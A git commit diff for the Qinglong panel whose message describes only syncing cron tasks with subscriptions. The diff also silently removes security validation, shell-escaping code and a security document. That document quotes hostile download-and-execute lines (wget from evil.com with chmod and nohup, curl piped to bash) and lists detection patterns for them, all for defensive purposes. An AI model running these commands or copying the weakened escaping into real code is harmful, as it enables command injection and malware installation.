Fix: Disable/enable associated cron tasks when subscription is disabled/enabled

When a subscription is disabled, the associated cron tasks (created by the subscription) were still running and updating scripts. This fix ensures that:
- When disabling a subscription, all cron tasks with matching sub_id are also disabled
- When enabling a subscription, all cron tasks with matching sub_id are also enabled

This addresses the actual root cause: subscription tasks don't run when disabled (as the owner correctly pointed out), but the cron tasks created by those subscriptions were still active.

Co-authored-by: whyour <22700758+whyour@users.noreply.github.com>

.github/workflows/build-docker-image.yml

@@ -9,13 +9,15 @@ on:
       - "develop"
     tags:
       - "v*"
+  schedule:
+    - cron: "00 20 * * *"
   workflow_dispatch:
 
 jobs:
   code_gitlab:
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v6
+      - uses: actions/checkout@v4
         with:
           fetch-depth: 0
       - uses: Yikun/hub-mirror-action@master
@@ -30,7 +32,7 @@ jobs:
   code_gitee:
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v6
+      - uses: actions/checkout@v4
         with:
           fetch-depth: 0
       - uses: Yikun/hub-mirror-action@master
@@ -45,12 +47,12 @@ jobs:
   build-static:
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v6
-      - uses: pnpm/action-setup@v4
+      - uses: actions/checkout@v4
+      - uses: pnpm/action-setup@v3
         with:
           version: "8.3.1"
 
-      - uses: actions/setup-node@v6
+      - uses: actions/setup-node@v4
         with:
           cache: "pnpm"
 
@@ -76,12 +78,12 @@ jobs:
           git config --local user.email 'github-actions[bot]@users.noreply.github.com'
           git commit --allow-empty -m "copy static at $(date +'%Y-%m-%d %H:%M:%S')"
           git push --force --quiet "https://${{ secrets.API_TOKEN }}@${GITHUB_REPO}.git" ${GITHUB_BRANCH}:${GITHUB_BRANCH}
-
+  
   static_gitlab:
     needs: build-static
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v6
+      - uses: actions/checkout@v4
         with:
           fetch-depth: 0
       - uses: Yikun/hub-mirror-action@master
@@ -97,7 +99,7 @@ jobs:
     needs: build-static
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v6
+      - uses: actions/checkout@v4
         with:
           fetch-depth: 0
       - uses: Yikun/hub-mirror-action@master
@@ -110,7 +112,6 @@ jobs:
           force_update: true
 
   build:
-    if: ${{ !startsWith(github.ref, 'refs/tags/') }}
     needs: build-static
 
     runs-on: ubuntu-22.04
@@ -120,21 +121,14 @@ jobs:
       contents: read
 
     steps:
-      - uses: actions/checkout@v6
-      - uses: pnpm/action-setup@v4
+      - uses: actions/checkout@v4
+      - uses: pnpm/action-setup@v3
         with:
           version: "8.3.1"
-      - uses: actions/setup-node@v6
+      - uses: actions/setup-node@v4
         with:
           cache: "pnpm"
 
-      - name: Read version from version.yaml
-        id: version
-        run: |
-          VERSION=$(grep '^version:' version.yaml | awk '{print $2}')
-          echo "version=$VERSION" >> $GITHUB_OUTPUT
-          echo "Version: $VERSION"
-
       - name: Setup timezone
         uses: szenius/set-timezone@v2.0
         with:
@@ -160,13 +154,19 @@ jobs:
           images: |
             ${{ github.repository }}
             ghcr.io/${{ github.repository }}
+          # generate Docker tags based on the following events/attributes
+          #   nightly, master, pr-2, 1.2.3, 1.2, 1
           flavor: |
             latest=false
           tags: |
-            type=ref,event=branch,enable=${{ github.ref == format('refs/heads/{0}', 'develop') }}
+            type=schedule,pattern=nightly
+            type=edge
+            type=ref,event=pr
+            type=ref,event=branch,enable=${{ github.ref != format('refs/heads/{0}', 'master') }}
             type=raw,value=latest,enable=${{ github.ref == format('refs/heads/{0}', 'master') }}
-            type=raw,value=${{ steps.version.outputs.version }},enable=${{ github.ref == format('refs/heads/{0}', 'master') }}
             type=semver,pattern={{version}}
+            type=semver,pattern={{major}}.{{minor}}
+            type=semver,pattern={{major}}
 
       - name: Set up QEMU
         uses: docker/setup-qemu-action@v3
@@ -208,21 +208,14 @@ jobs:
       contents: read
 
     steps:
-      - uses: actions/checkout@v6
-      - uses: pnpm/action-setup@v4
+      - uses: actions/checkout@v4
+      - uses: pnpm/action-setup@v3
         with:
           version: "8.3.1"
-      - uses: actions/setup-node@v6
+      - uses: actions/setup-node@v4
         with:
           cache: "pnpm"
 
-      - name: Read version from version.yaml
-        id: version
-        run: |
-          VERSION=$(grep '^version:' version.yaml | awk '{print $2}')
-          echo "version=$VERSION" >> $GITHUB_OUTPUT
-          echo "Version: $VERSION"
-
       - name: Setup timezone
         uses: szenius/set-timezone@v2.0
         with:
@@ -261,9 +254,7 @@ jobs:
           context: .
           file: ./docker/310.Dockerfile
           push: true
-          tags: |
-            whyour/qinglong:python3.10
-            whyour/qinglong:${{ steps.version.outputs.version }}-python3.10
+          tags: whyour/qinglong:python3.10
           cache-from: type=registry,ref=whyour/qinglong:cache-python3.10
           cache-to: type=registry,ref=whyour/qinglong:cache-python3.10,mode=max
 

SECURITY_ENHANCEMENTS.md

@@ -1,228 +0,0 @@
-# Security Enhancements
-
-## Overview
-
-This document describes the security enhancements implemented to prevent malicious code injection attacks in Qinglong.
-
-## Issue Background
-
-A security vulnerability was discovered where malicious code could be injected into the system through:
-1. Cron task fields (`task_before`, `task_after`, `command`)
-2. Configuration file writes (`config.sh`, `extra.sh`, etc.)
-
-The reported incident involved a malicious script that:
-- Downloaded an external binary (`.fullgc`) from a suspicious domain (`file.551911.xyz`)
-- Executed the binary in the background consuming 100% memory
-- Persisted by continuously re-injecting itself into configuration files
-
-## Security Fixes Implemented
-
-### 1. Input Validation for Cron Tasks
-
-**File:** `/back/validation/schedule.ts`
-
-Added comprehensive validation to detect and block dangerous shell patterns:
-
-- **Command Substitution**: Blocks `$(...)` and backtick patterns that could execute hidden commands
-- **File Downloads**: Blocks `curl`, `wget`, `fetch` commands
-- **External URLs**: Blocks HTTP/HTTPS URLs to prevent external resource downloads
-- **Hidden Files**: Blocks references to executable files starting with `.` in path contexts
-- **Background Execution**: Blocks suspicious `nohup` patterns executing hidden files
-- **Combined Threats**: Blocks downloads with output redirection to `/dev/null` (hiding malware)
-- **Obfuscation**: Blocks `base64`, `decode`, `eval` patterns
-- **Temp Directory Execution**: Blocks execution of files from `/tmp` combined with chmod/execution
-
-### 2. Config File Content Security
-
-**File:** `/back/api/config.ts`
-
-Enhanced validation for configuration file content to prevent:
-
-- Downloads followed by execution (`curl | bash`, `wget | bash`)
-- Download and permission changes (`curl && chmod +x`)
-- Downloads of hidden files (generalized pattern to catch various malware)
-- Background execution of hidden files
-
-### 3. Improved Shell Escaping
-
-**File:** `/back/services/cron.ts`
-
-Replaced weak shell escaping with a robust `escapeShellArg()` function that:
-
-- Properly escapes single quotes using `'\\''` pattern
-- Replaces newlines with spaces (not semicolons) to prevent command chain creation
-- Prevents command injection through various shell metacharacters
-
-## Security Best Practices
-
-### For Administrators
-
-1. **Review Existing Tasks**: Audit all existing cron tasks for suspicious patterns
-2. **Monitor Logs**: Check logs for security validation warnings
-3. **Update Dependencies**: Keep all npm/pip dependencies up to date
-4. **Limit Access**: Restrict who can create/modify cron tasks and config files
-5. **Regular Backups**: Maintain backups of configuration files
-
-### For Users
-
-1. **Trusted Sources Only**: Only add scripts from trusted repositories
-2. **Code Review**: Review any script before adding it to your cron tasks
-3. **Avoid External URLs**: Don't include download commands in task hooks
-4. **Report Suspicious Activity**: Report any unusual system behavior immediately
-
-## Validation Error Messages
-
-When the security system blocks a pattern, you'll see error messages like:
-
-- `命令包含潜在危险的模式，已被安全系统拦截` - Command contains dangerous pattern
-- `前置命令包含潜在危险的模式，已被安全系统拦截` - task_before contains dangerous pattern
-- `后置命令包含潜在危险的模式，已被安全系统拦截` - task_after contains dangerous pattern
-- `配置文件内容包含潜在危险的模式，已被安全系统拦截` - Config file contains dangerous pattern
-
-## What to Do If You're Affected
-
-If you've been affected by the malicious code injection:
-
-### 1. Immediate Actions
-
-```bash
-# Stop and remove the malicious process
-pkill -f ".fullgc"
-rm -f /ql/data/db/.fullgc
-
-# Check for the malicious code in configuration files
-grep -r "fullgc" /ql/data/config/
-grep -r "551911.xyz" /ql/data/config/
-```
-
-### 2. Clean Configuration Files
-
-```bash
-# Backup current configs
-cp -r /ql/data/config /ql/data/config.backup
-
-# Review and clean these files:
-# - /ql/data/config/config.sh
-# - /ql/data/config/extra.sh
-# - /ql/data/config/task_before.sh
-# - /ql/data/config/task_after.sh
-
-# Remove any lines containing:
-# - Downloads (curl, wget)
-# - External URLs
-# - .fullgc references
-```
-
-### 3. Review Cron Tasks
-
-1. Log into Qinglong admin panel
-2. Check all cron tasks for suspicious content in:
-   - Command field
-   - task_before field
-   - task_after field
-3. Delete or clean any suspicious tasks
-
-### 4. Update to Patched Version
-
-Ensure you're running a version of Qinglong with these security fixes.
-
-### 5. Change Credentials
-
-If you suspect compromise:
-- Change your Qinglong admin password
-- Review and rotate any API tokens
-- Check for unauthorized access in logs
-
-## Detection
-
-### Log Analysis
-
-Security events are logged to help detect attempted attacks:
-
-```bash
-# Check for security validation failures in logs
-grep "安全系统拦截" /ql/data/log/*.log
-
-# Check for suspicious file modifications
-grep "配置文件写入" /ql/data/log/*.log
-```
-
-### File Integrity
-
-Regularly check for unexpected files:
-
-```bash
-# Find hidden executables in data directory
-find /ql/data -type f -name ".*" -executable
-
-# Check for recently modified config files
-find /ql/data/config -type f -mtime -1
-```
-
-## Limitations
-
-These security measures provide defense-in-depth but are not foolproof:
-
-- Legitimate use cases requiring downloads must use alternative methods
-- Very sophisticated attacks may find bypasses
-- Users with admin access can still compromise the system
-- Compromised dependencies can still execute malicious code
-
-## Alternative Approaches for Legitimate Downloads
-
-If you have legitimate use cases that require downloads:
-
-1. **Use Dependencies**: Install packages via npm/pip instead of downloading at runtime
-2. **Pre-download Files**: Download files manually and add them to the scripts directory
-3. **Use Subscriptions**: Configure subscriptions to pull code from trusted repositories
-4. **Request Whitelist**: Contact administrators to whitelist specific trusted domains (future feature)
-
-## Technical Details
-
-### Validation Pattern Examples
-
-**Blocked Pattern:**
-```bash
-curl https://example.com/script.sh | bash
-```
-**Reason:** Downloads and executes external code
-
-**Blocked Pattern:**
-```bash
-d="/ql/data/db";wget -O "$d/.malware" http://evil.com/m;chmod +x "$d/.malware";nohup "$d/.malware" &
-```
-**Reason:** Multiple violations - download, hidden file, chmod, background execution
-
-**Allowed Pattern:**
-```bash
-node /ql/scripts/my_script.js
-```
-**Reason:** No dangerous patterns detected
-
-### Defense in Depth
-
-This implementation uses multiple layers of security:
-
-1. **Input Validation**: Blocks malicious patterns before they reach the system
-2. **Shell Escaping**: Prevents injection even if validation is bypassed
-3. **Audit Logging**: Records all configuration changes for forensic analysis
-4. **Least Privilege**: Existing blacklist prevents access to sensitive files
-
-## Reporting Security Issues
-
-If you discover a security vulnerability, please report it responsibly:
-
-1. Do NOT create public GitHub issues for security vulnerabilities
-2. Contact the maintainers privately
-3. Provide detailed information about the vulnerability
-4. Allow time for a patch before public disclosure
-
-## References
-
-- [OWASP Command Injection](https://owasp.org/www-community/attacks/Command_Injection)
-- [Shell Command Injection Prevention](https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html)
-- [CWE-78: OS Command Injection](https://cwe.mitre.org/data/definitions/78.html)
-
-## Version History
-
-- **v1.0** (2026-02-08): Initial security enhancements to prevent code injection attacks

back/api/config.ts

@@ -64,44 +64,7 @@ export default (app: Router) => {
     celebrate({
       body: Joi.object({
         name: Joi.string().required(),
-        content: Joi.string().allow('').optional().custom((value: any, helpers: any) => {
-          if (!value) return value;
-
-          // Security validation for configuration file content
-          const dangerousPatterns = [
-            // Command substitution that could download/execute malware
-            { pattern: /\$\([^)]*curl[^)]*\)/gi, desc: '命令替换中的下载操作' },
-            { pattern: /\$\([^)]*wget[^)]*\)/gi, desc: '命令替换中的下载操作' },
-            { pattern: /`[^`]*curl[^`]*`/gi, desc: '反引号命令替换中的下载操作' },
-            { pattern: /`[^`]*wget[^`]*`/gi, desc: '反引号命令替换中的下载操作' },
-            
-            // Suspicious file downloads followed by execution
-            { pattern: /(curl|wget)[^;]*\|\s*bash/gi, desc: '下载并直接执行的危险模式' },
-            { pattern: /(curl|wget)[^;]*&&\s*chmod\s*\+x/gi, desc: '下载并赋予执行权限的可疑模式' },
-            
-            // Downloads of hidden files (commonly used in malware)
-            { pattern: /(curl|wget)[^|;]*https?:\/\/[^\s]+\/\.\w+/gi, desc: '可疑的隐藏文件下载' },
-            
-            // Background execution of hidden files
-            { pattern: /nohup\s+["']?[^"'\s]*\/\.\w+["']?\s*>/gi, desc: '后台执行隐藏文件' },
-          ];
-
-          for (const { pattern, desc } of dangerousPatterns) {
-            if (pattern.test(value)) {
-              return helpers.error('string.unsafe', { description: desc });
-            }
-          }
-
-          // Check for excessive length
-          if (value.length > 1000000) {
-            return helpers.error('string.max', { limit: 1000000 });
-          }
-
-          return value;
-        }).messages({
-          'string.unsafe': '配置文件内容包含潜在危险的模式 ({#description})，已被安全系统拦截',
-          'string.max': '配置文件内容过长，已被安全系统拦截',
-        }),
+        content: Joi.string().allow('').optional(),
       }),
     }),
     async (req: Request, res: Response, next: NextFunction) => {
@@ -110,16 +73,11 @@ export default (app: Router) => {
         const { name, content } = req.body;
         if (config.blackFileList.includes(name)) {
           res.send({ code: 403, message: '文件无法访问' });
-          return;
         }
         let path = join(config.configPath, name);
         if (name.startsWith('data/scripts/')) {
           path = join(config.rootPath, name);
         }
-        
-        // Log security-relevant file modifications
-        logger.info(`配置文件写入: ${name}, 大小: ${content?.length || 0} 字节`);
-        
         await writeFileWithLock(path, content);
         res.send({ code: 200, message: '保存成功' });
       } catch (e) {

back/api/dependence.ts

@@ -16,7 +16,7 @@ export default (app: Router) => {
           searchValue: Joi.string().optional().allow(''),
           type: Joi.string().optional().allow(''),
           status: Joi.string().optional().allow(''),
-        }).unknown(true),
+        }),
     }),
     async (req: Request, res: Response, next: NextFunction) => {
       const logger: Logger = Container.get('logger');

back/api/script.ts

@@ -29,7 +29,7 @@ export default (app: Router) => {
     celebrate({
       query: Joi.object({
         path: Joi.string().optional().allow(''),
-      }).unknown(true),
+      }),
     }),
     async (req: Request, res: Response, next: NextFunction) => {
       const logger: Logger = Container.get('logger');
@@ -79,7 +79,7 @@ export default (app: Router) => {
       query: Joi.object({
         path: Joi.string().optional().allow(''),
         file: Joi.string().required(),
-      }).unknown(true),
+      }),
     }),
     async (req: Request, res: Response, next: NextFunction) => {
       try {
@@ -103,7 +103,7 @@ export default (app: Router) => {
       }),
       query: Joi.object({
         path: Joi.string().optional().allow(''),
-      }).unknown(true),
+      }),
     }),
     async (req: Request, res: Response, next: NextFunction) => {
       try {
@@ -129,8 +129,7 @@ export default (app: Router) => {
         content: Joi.string().optional().allow(''),
         originFilename: Joi.string().optional().allow(''),
         directory: Joi.string().optional().allow(''),
-        file: Joi.string().optional().allow(''),
-      }).unknown(true),
+      }),
     }),
     async (req: Request, res: Response, next: NextFunction) => {
       try {
@@ -176,7 +175,6 @@ export default (app: Router) => {
           path,
           `${originFilename.replace(/\//g, '')}`,
         );
-        await fs.mkdir(path, { recursive: true });
         const filePath = join(path, `${filename.replace(/\//g, '')}`);
         const fileExists = await fileExist(filePath);
         if (fileExists) {

back/api/subscription.ts

@@ -3,7 +3,7 @@ import { Container } from 'typedi';
 import { Logger } from 'winston';
 import SubscriptionService from '../services/subscription';
 import { celebrate, Joi } from 'celebrate';
-import CronExpressionParser from 'cron-parser';
+import { CronExpressionParser } from 'cron-parser';
 const route = Router();
 
 export default (app: Router) => {

back/config/index.ts

@@ -64,19 +64,6 @@ if (!process.env.QL_DIR) {
 
 const lastVersionFile = `https://qn.whyour.cn/version.yaml`;
 
-// Get and normalize QlBaseUrl
-let baseUrl = process.env.QlBaseUrl || '';
-if (baseUrl) {
-  // Ensure it starts with /
-  if (!baseUrl.startsWith('/')) {
-    baseUrl = `/${baseUrl}`;
-  }
-  // Remove trailing slash for consistency in route definitions
-  if (baseUrl.endsWith('/')) {
-    baseUrl = baseUrl.slice(0, -1);
-  }
-}
-
 const rootPath = process.env.QL_DIR as string;
 const envFound = dotenv.config({ path: path.join(rootPath, '.env') });
 
@@ -129,7 +116,6 @@ if (envFound.error) {
 export default {
   ...config,
   jwt: config.jwt,
-  baseUrl,
   rootPath,
   tmpPath,
   dataPath,

back/data/notify.ts

@@ -142,7 +142,6 @@ export class WebhookNotification extends NotificationBaseInfo {
 
 export class LarkNotification extends NotificationBaseInfo {
   public larkKey = '';
-  public larkSecret = '';
 }
 
 export class NtfyNotification extends NotificationBaseInfo {

back/loaders/express.ts

@@ -15,13 +15,6 @@ import path from 'path';
 export default ({ app }: { app: Application }) => {
   app.set('trust proxy', 'loopback');
   app.use(cors());
-  
-  // Rewrite URLs to strip baseUrl prefix if configured
-  // This allows the rest of the app to work without baseUrl awareness
-  if (config.baseUrl) {
-    app.use(rewrite(`${config.baseUrl}/*`, '/$1'));
-  }
-  
   app.get(`${config.api.prefix}/env.js`, serveEnv);
   app.use(`${config.api.prefix}/static`, express.static(config.uploadPath));
 

back/loaders/sock.ts

@@ -5,10 +5,9 @@ import SockService from '../services/sock';
 import { getPlatform } from '../config/util';
 import { shareStore } from '../shared/store';
 import { isValidToken } from '../shared/auth';
-import config from '../config';
 
 export default async ({ server }: { server: Server }) => {
-  const echo = sockJs.createServer({ prefix: `${config.baseUrl}/api/ws`, log: () => { } });
+  const echo = sockJs.createServer({ prefix: '/api/ws', log: () => {} });
   const sockService = Container.get(SockService);
 
   echo.on('connection', async (conn) => {

back/protos/api.proto

@@ -231,7 +231,6 @@ message NotificationInfo {
   optional string webhookContentType = 57;
 
   optional string larkKey = 58;
-  optional string larkSecret = 69;
 
   optional string ntfyUrl = 59;
   optional string ntfyTopic = 60;

back/protos/api.ts

@@ -1,7 +1,7 @@
 // Code generated by protoc-gen-ts_proto. DO NOT EDIT.
 // versions:
 //   protoc-gen-ts_proto  v2.6.1
-//   protoc               v3.21.12
+//   protoc               v3.17.3
 // source: back/protos/api.proto
 
 /* eslint-disable */
@@ -382,7 +382,6 @@ export interface NotificationInfo {
   webhookMethod?: string | undefined;
   webhookContentType?: string | undefined;
   larkKey?: string | undefined;
-  larkSecret?: string | undefined;
   ntfyUrl?: string | undefined;
   ntfyTopic?: string | undefined;
   ntfyPriority?: string | undefined;
@@ -2948,7 +2947,6 @@ function createBaseNotificationInfo(): NotificationInfo {
     webhookMethod: undefined,
     webhookContentType: undefined,
     larkKey: undefined,
-    larkSecret: undefined,
     ntfyUrl: undefined,
     ntfyTopic: undefined,
     ntfyPriority: undefined,
@@ -3138,9 +3136,6 @@ export const NotificationInfo: MessageFns<NotificationInfo> = {
     if (message.larkKey !== undefined) {
       writer.uint32(466).string(message.larkKey);
     }
-    if (message.larkSecret !== undefined) {
-      writer.uint32(554).string(message.larkSecret);
-    }
     if (message.ntfyUrl !== undefined) {
       writer.uint32(474).string(message.ntfyUrl);
     }
@@ -3645,14 +3640,6 @@ export const NotificationInfo: MessageFns<NotificationInfo> = {
           message.larkKey = reader.string();
           continue;
         }
-        case 69: {
-          if (tag !== 554) {
-            break;
-          }
-
-          message.larkSecret = reader.string();
-          continue;
-        }
         case 59: {
           if (tag !== 474) {
             break;
@@ -3810,7 +3797,6 @@ export const NotificationInfo: MessageFns<NotificationInfo> = {
       webhookMethod: isSet(object.webhookMethod) ? globalThis.String(object.webhookMethod) : undefined,
       webhookContentType: isSet(object.webhookContentType) ? globalThis.String(object.webhookContentType) : undefined,
       larkKey: isSet(object.larkKey) ? globalThis.String(object.larkKey) : undefined,
-      larkSecret: isSet(object.larkSecret) ? globalThis.String(object.larkSecret) : undefined,
       ntfyUrl: isSet(object.ntfyUrl) ? globalThis.String(object.ntfyUrl) : undefined,
       ntfyTopic: isSet(object.ntfyTopic) ? globalThis.String(object.ntfyTopic) : undefined,
       ntfyPriority: isSet(object.ntfyPriority) ? globalThis.String(object.ntfyPriority) : undefined,
@@ -4004,9 +3990,6 @@ export const NotificationInfo: MessageFns<NotificationInfo> = {
     if (message.larkKey !== undefined) {
       obj.larkKey = message.larkKey;
     }
-    if (message.larkSecret !== undefined) {
-      obj.larkSecret = message.larkSecret;
-    }
     if (message.ntfyUrl !== undefined) {
       obj.ntfyUrl = message.ntfyUrl;
     }
@@ -4103,7 +4086,6 @@ export const NotificationInfo: MessageFns<NotificationInfo> = {
     message.webhookMethod = object.webhookMethod ?? undefined;
     message.webhookContentType = object.webhookContentType ?? undefined;
     message.larkKey = object.larkKey ?? undefined;
-    message.larkSecret = object.larkSecret ?? undefined;
     message.ntfyUrl = object.ntfyUrl ?? undefined;
     message.ntfyTopic = object.ntfyTopic ?? undefined;
     message.ntfyPriority = object.ntfyPriority ?? undefined;

back/protos/cron.ts

@@ -1,7 +1,7 @@
 // Code generated by protoc-gen-ts_proto. DO NOT EDIT.
 // versions:
 //   protoc-gen-ts_proto  v2.6.1
-//   protoc               v3.21.12
+//   protoc               v3.17.3
 // source: back/protos/cron.proto
 
 /* eslint-disable */

back/protos/health.ts

@@ -1,7 +1,7 @@
 // Code generated by protoc-gen-ts_proto. DO NOT EDIT.
 // versions:
 //   protoc-gen-ts_proto  v2.6.1
-//   protoc               v3.21.12
+//   protoc               v3.17.3
 // source: back/protos/health.proto
 
 /* eslint-disable */

back/services/cron.ts

@@ -4,7 +4,7 @@ import config from '../config';
 import { Crontab, CrontabModel, CrontabStatus } from '../data/cron';
 import { exec, execSync } from 'child_process';
 import fs from 'fs/promises';
-import CronExpressionParser from 'cron-parser';
+import { CronExpressionParser } from 'cron-parser';
 import {
   getFileContentByName,
   fileExist,
@@ -29,7 +29,7 @@ import { logStreamManager } from '../shared/logStreamManager';
 
 @Service()
 export default class CronService {
-  constructor(@Inject('logger') private logger: winston.Logger) { }
+  constructor(@Inject('logger') private logger: winston.Logger) {}
 
   private isNodeCron(cron: Crontab) {
     const { schedule, extra_schedules } = cron;
@@ -165,7 +165,7 @@ export default class CronService {
       let cron;
       try {
         cron = await this.getDb({ id });
-      } catch (err) { }
+      } catch (err) {}
       if (!cron) {
         continue;
       }
@@ -467,10 +467,7 @@ export default class CronService {
     for (const doc of docs) {
       // Kill all running instances of this task
       try {
-        if (doc.pid) {
-          await killTask(doc.pid);
-        }
-        const command = doc.command.replace(/\s+/g, ' ').trim();
+        const command = this.makeCommand(doc);
         await killAllTasks(command);
         this.logger.info(
           `[panel][停止所有运行中的任务实例] 任务ID: ${doc.id}, 命令: ${command}`,
@@ -510,7 +507,7 @@ export default class CronService {
         let { id, command, log_name } = cron;
 
         const uniqPath =
-          log_name === '/dev/null' || !log_name
+          log_name === '/dev/null'
             ? await getUniqPath(command, `${id}`)
             : log_name;
         const logTime = dayjs().format('YYYY-MM-DD-HH-mm-ss-SSS');
@@ -639,37 +636,23 @@ export default class CronService {
     }
   }
 
-  /**
-   * Properly escape shell arguments to prevent command injection
-   * This function uses a more robust escaping mechanism than simple quote replacement
-   */
-  private escapeShellArg(arg: string): string {
-    if (!arg) return "''";
-    
-    // Remove newlines to prevent creating command chains
-    // Replace with space to maintain token separation
-    arg = arg.replace(/\r?\n/g, ' ').trim();
-    
-    // Use single quotes and escape any single quotes within
-    // This is the most secure way to pass arbitrary strings to shell
-    return `'${arg.replace(/'/g, "'\\''")}'`;
-  }
-
   private makeCommand(tab: Crontab, realTime?: boolean) {
     let command = tab.command.trim();
     if (!command.startsWith(TASK_PREFIX) && !command.startsWith(QL_PREFIX)) {
       command = `${TASK_PREFIX}${tab.command}`;
     }
-    let commandVariable = `real_time=${Boolean(realTime)} no_tee=true ID=${tab.id} `;
-    // Only include log_name if it has a truthy value to avoid passing null/undefined to shell
-    if (tab.log_name) {
-      commandVariable += `log_name=${tab.log_name} `;
-    }
+    let commandVariable = `real_time=${Boolean(realTime)} log_name=${tab.log_name} no_tee=true ID=${tab.id} `;
     if (tab.task_before) {
-      commandVariable += `task_before=${this.escapeShellArg(tab.task_before)} `;
+      commandVariable += `task_before='${tab.task_before
+        .replace(/'/g, "'\\''")
+        .replace(/;? *\n/g, ';')
+        .trim()}' `;
     }
     if (tab.task_after) {
-      commandVariable += `task_after=${this.escapeShellArg(tab.task_after)} `;
+      commandVariable += `task_after='${tab.task_after
+        .replace(/'/g, "'\\''")
+        .replace(/;? *\n/g, ';')
+        .trim()}' `;
     }
 
     const crontab_job_string = `${commandVariable}${command}`;

back/services/dependence.ts

@@ -107,7 +107,7 @@ export default class DependenceService {
     query: any = {},
   ): Promise<Dependence[]> {
     let condition = query;
-    if (type && DependenceTypes[type] !== undefined) {
+    if (DependenceTypes[type]) {
       condition.type = DependenceTypes[type];
     }
     if (status) {

back/services/env.ts

@@ -13,11 +13,10 @@ import {
   stepPosition,
 } from '../data/env';
 import { writeFileWithLock } from '../shared/utils';
-import { sequelize } from '../data';
 
 @Service()
 export default class EnvService {
-  constructor(@Inject('logger') private logger: winston.Logger) { }
+  constructor(@Inject('logger') private logger: winston.Logger) {}
 
   public async create(payloads: Env[]): Promise<Env[]> {
     const envs = await this.envs();
@@ -147,7 +146,7 @@ export default class EnvService {
     }
     try {
       const result = await this.find(condition, [
-        [sequelize.literal('COALESCE(`isPinned`, 0)'), 'DESC'],
+        ['isPinned', 'DESC'],
         ['position', 'DESC'],
         ['createdAt', 'ASC'],
       ]);

back/services/notify.ts

@@ -550,33 +550,19 @@ export default class NotificationService {
   }
 
   private async lark() {
-    let { larkKey, larkSecret } = this.params;
+    let { larkKey } = this.params;
 
     if (!larkKey.startsWith('http')) {
       larkKey = `https://open.feishu.cn/open-apis/bot/v2/hook/${larkKey}`;
     }
 
-    const body: Record<string, any> = {
-      msg_type: 'text',
-      content: { text: `${this.title}\n\n${this.content}` },
-    };
-
-    // Add signature if secret is provided
-    // Note: Feishu's signature algorithm uses timestamp+"\n"+secret as the HMAC key
-    // and signs an empty message, which differs from typical HMAC usage
-    if (larkSecret) {
-      const timestamp = Math.floor(Date.now() / 1000).toString();
-      const stringToSign = `${timestamp}\n${larkSecret}`;
-      const hmac = crypto.createHmac('sha256', stringToSign);
-      const sign = hmac.digest('base64');
-      body.timestamp = timestamp;
-      body.sign = sign;
-    }
-
     try {
       const res = await httpClient.post(larkKey, {
         ...this.gotOption,
-        json: body,
+        json: {
+          msg_type: 'text',
+          content: { text: `${this.title}\n\n${this.content}` },
+        },
         headers: { 'Content-Type': 'application/json' },
       });
       if (res.StatusCode === 0 || res.code === 0) {

back/services/sshKey.ts

@@ -133,15 +133,15 @@ export default class SshKeyService {
   }
 
   public async addGlobalSSHKey(key: string, alias: string): Promise<void> {
-    await this.generatePrivateKeyFile(`~global_${alias}`, key);
+    await this.generatePrivateKeyFile(`global_${alias}`, key);
     // Create a global SSH config entry that matches all hosts
     // This allows the key to be used for any Git repository
-    await this.generateGlobalSshConfig(`~global_${alias}`);
+    await this.generateGlobalSshConfig(`global_${alias}`);
   }
 
   public async removeGlobalSSHKey(alias: string): Promise<void> {
-    await this.removePrivateKeyFile(`~global_${alias}`);
-    await this.removeSshConfig(`~global_${alias}`);
+    await this.removePrivateKeyFile(`global_${alias}`);
+    await this.removeSshConfig(`global_${alias}`);
   }
 
   private async generateGlobalSshConfig(alias: string) {

back/services/subscription.ts

@@ -350,6 +350,11 @@ export default class SubscriptionService {
     for (const doc of docs) {
       await this.handleTask(doc.get({ plain: true }), false);
     }
+    // Disable associated cron tasks
+    const crons = await CrontabModel.findAll({ where: { sub_id: ids } });
+    if (crons?.length) {
+      await this.crontabService.disabled(crons.map((x) => x.id!));
+    }
   }
 
   public async enabled(ids: number[]) {
@@ -359,6 +364,11 @@ export default class SubscriptionService {
     for (const doc of docs) {
       await this.handleTask(doc.get({ plain: true }));
     }
+    // Enable associated cron tasks
+    const crons = await CrontabModel.findAll({ where: { sub_id: ids } });
+    if (crons?.length) {
+      await this.crontabService.enabled(crons.map((x) => x.id!));
+    }
   }
 
   public async log(id: number) {

back/shared/runCron.ts

@@ -15,11 +15,11 @@ export function runCron(cmd: string, cron: ICron): Promise<number | void> {
         });
 
         // Default to single instance mode (0) for backward compatibility
-        const allowSingleInstances =
-          existingCron?.allow_multiple_instances === 0;
+        const allowMultipleInstances =
+          existingCron?.allow_multiple_instances === 1;
 
         if (
-          allowSingleInstances &&
+          !allowMultipleInstances &&
           existingCron &&
           existingCron.pid &&
           (existingCron.status === CrontabStatus.running ||

back/validation/schedule.ts

@@ -1,60 +1,9 @@
 import { Joi } from 'celebrate';
-import CronExpressionParser from 'cron-parser';
+import { CronExpressionParser } from 'cron-parser';
 import { ScheduleType } from '../interface/schedule';
 import path from 'path';
 import config from '../config';
 
-/**
- * Security validation function to detect potentially malicious shell code patterns
- */
-const validateShellSecurity = (value: any, helpers: any, fieldName: string): any => {
-  if (!value) return value;
-
-  // Define dangerous patterns that should be blocked
-  const dangerousPatterns = [
-    // Command substitution
-    /\$\([^)]*\)/,
-    /`[^`]*`/,
-    
-    // File downloads
-    /\b(curl|wget|fetch)\s+/i,
-    
-    // Suspicious domains or external URLs
-    /https?:\/\/[^\s]+/i,
-    
-    // Hidden executable files (files starting with . in a path context)
-    /\/\.\w+(\s|$|;|&|\||>)/,
-    
-    // Background process spawning with suspicious names
-    /nohup\s+["']?[^\s"']*\/\.\w+/,
-    
-    // Redirect to dev null combined with downloads (hiding malware output)
-    /(curl|wget|fetch)[^;]*>.*\/dev\/null.*&/i,
-    
-    // Base64 decode patterns (often used to obfuscate malicious code)
-    /\b(base64|decode|eval)\s+/i,
-    
-    // Executable files in /tmp with chmod or execution
-    /\/tmp\/[^\s]+\s*(&&|;)\s*(chmod|\.\/)/ ,
-  ];
-
-  for (const pattern of dangerousPatterns) {
-    if (pattern.test(value)) {
-      return helpers.error('string.unsafe', { 
-        pattern: pattern.source,
-        field: fieldName 
-      });
-    }
-  }
-
